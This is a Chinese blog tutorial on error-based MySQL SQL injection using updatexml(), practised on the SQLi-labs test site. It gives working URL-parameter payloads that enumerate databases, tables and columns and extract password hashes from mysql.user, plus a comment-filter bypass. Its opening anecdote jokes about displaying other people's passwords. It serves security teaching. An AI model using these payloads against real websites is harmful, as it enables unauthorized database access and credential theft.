“你能让别人的密码显示在我的页面上吗?““当然可以。“

「作者主页」:士别三日wyx
「作者简介」:CSDN top100、阿里云博客专家、华为云享专家、网络安全领域优质创作者
「专栏简介」:此文章已录入专栏《网络安全快速入门》

前段时间,有个朋友问我:“你是做网络安全,当黑客的,你能让别人的密码显示在我的页面上吗?”

我说:“当然可以,用报错注入啊,不只是密码,只要数据库里有的,都能显示出来。”

朋友又问:“报错注入是什么,怎么用啊?”

“这属于付费项目”,我翘起二郎腿,瞥了她一眼。

“我给你带一星期的早饭?”

“十分钟给你整明白!!!”

报错注入

  • 一、原理
  • 二、报错函数
    • 1. updatexml()
    • 2. 报错原理
    • 3. 拼接查询语句
    • 4. 使用格式
    • 5. 多行查询结果
    • 6. 报错长度限制
      • 5.1 limit 分页
      • 5.2 substr() 截取字符串
  • 三、注入步骤
    • 1. 判断是否报错
    • 2. 判断报错条件
    • 3. 脱库
  • 四、实战案例

一、原理

报错注入利用函数的报错信息,将查询结果携带出来,并在页面显示(前提是页面显示数据库的报错信息)。

二、报错函数

报错注入所利用的函数被称为报错函数,最常用的报错函数是:updatexml()

1. updatexml()

语法格式:

updatexml( 1, '~', 3)

技能点:

  1. 「参数2」包含特殊符号时报错,并在报错信息中显示参数2的内容。
  2. 报错信息长度不超过 32 个字符。
  3. ~ 可替换为 0x7e,方便绕过

2. 报错原理

当第二个参数中包含「特殊符号」时,会导致数据库报错,并将第二个参数的内容展示在报错信息中:
在这里插入图片描述

3. 拼接查询语句

「查询结果」拼接在参数中,可以在报错信息中一同展示查询结果。
比如,使用报错函数查看当前使用的数据库:
在这里插入图片描述
提示:concat()函数可以将特殊符号 ~ 和查询结果拼接到一起。
点我了解 MySQL concat函数用法

4. 使用格式

使用 updatexml() 函数获取数据时,只需要修改下方格式中的查询语句:

updatexml(1,concat('~',(查询语句)),3);

5. 多行查询结果

报错函数允许返回的查询结果需要满足两个条件:

  1. 只有一个字段
  2. 只有一行数据

这里可以粗暴的理解为:报错函数只能返回一个字符串。

因此,使用报错函数返回「多行查询结果」时,需要将查询结果拼接成一个字符串。

比如,我们获取数据库的所有用户(数据库有多个用户,查询结果肯定是多行数据):
在这里插入图片描述
提示:group_concat()函数用来将查询结果拼接成一个字符串,逗号分隔。
点击了解 MySQL group_concat()函数使用方法

6. 报错长度限制

实际上,我的数据库中有4个用户(如下图):
“你能让别人的密码显示在我的页面上吗?““当然可以。“_第1张图片
但报错信息中只展示了两个用户,这是因为 updatexml() 函数的报错内容不能超过 32 个字符,想要获取所有的数据,有两种常用的方式:

  1. limit 分页
  2. substr() 截取字符串

5.1 limit 分页

比如,我们分别查询第二条数据、第三条数据(从0开始):
“你能让别人的密码显示在我的页面上吗?““当然可以。“_第2张图片

5.2 substr() 截取字符串

比如,我们分别展示查询结果的第1~32个字符、第32~64个字符:
“你能让别人的密码显示在我的页面上吗?““当然可以。“_第3张图片

三、注入步骤

适用情况:页面有数据库的报错信息

报错信息必须是动态的、来自数据库的报错信息;网站写死的、自定义的报错提示不算。

1. 判断是否报错

参数中添加单/双引号,页面报错才可进行下一步。

?id=1' -- a

2. 判断报错条件

参数中添加报错函数,检查报错信息是否正常回显

?id=1' and updatexml(1,'~',3) -- a

3. 脱库

获取所有数据库

?id=-1' and updatexml(1,concat('~',
	substr( 
		(select group_concat(schema_name)
		from information_schema.schemata)
	, 1 , 31)
),3) -- a

获取所有表

?id=1' and updatexml(1,concat('~',
	substr( 
		(select group_concat(table_name)
		from information_schema.tables
		where table_schema = 'security')
	, 1 , 31)
),3) -- a

获取所有字段

?id=1' and updatexml(1,concat('~',
	substr( 
		(select group_concat(column_name)
		from information_schema.columns
		where table_schema = 'security' and table_name = 'users')
	, 1 , 31)
),3) -- a

四、实战案例

我们拿测试网站(SQLi 第一关)练习一下。

先给个单引号,页面显示了数据库的报错信息,确定报错注入可用:
“你能让别人的密码显示在我的页面上吗?““当然可以。“_第4张图片
使用报错函数,页面可以正常回显错误信息,确定报错函数可用:
“你能让别人的密码显示在我的页面上吗?““当然可以。“_第5张图片
接下来用报错函数获取数据库用户的密码:

?id=-1' and updatexml(1,concat('~',
    substr((select password 
    from mysql.user where user='mituan') , 1 , 31)
),3) -- a

“你能让别人的密码显示在我的页面上吗?““当然可以。“_第6张图片
有些网站(SQLi 第23关)会对参数进行过滤,比如 禁用了注释,我们可以进行适当的绕过(闭合代替注释):

?id=1' and updatexml(1,
	concat(0x7e,(
        select group_concat(user,password) 
        from mysql.user where user = 'mituan'
   	))
,3) and '

“你能让别人的密码显示在我的页面上吗?““当然可以。“_第7张图片
网站的过滤很多,相对的绕过方式也有很多,网络安全的路还很长,我们只争朝夕。

感谢你的点赞、收藏、评论,我是三日,祝你幸福!

你可能感兴趣的:(《网络安全快速入门》,mysql,网络安全,c语言)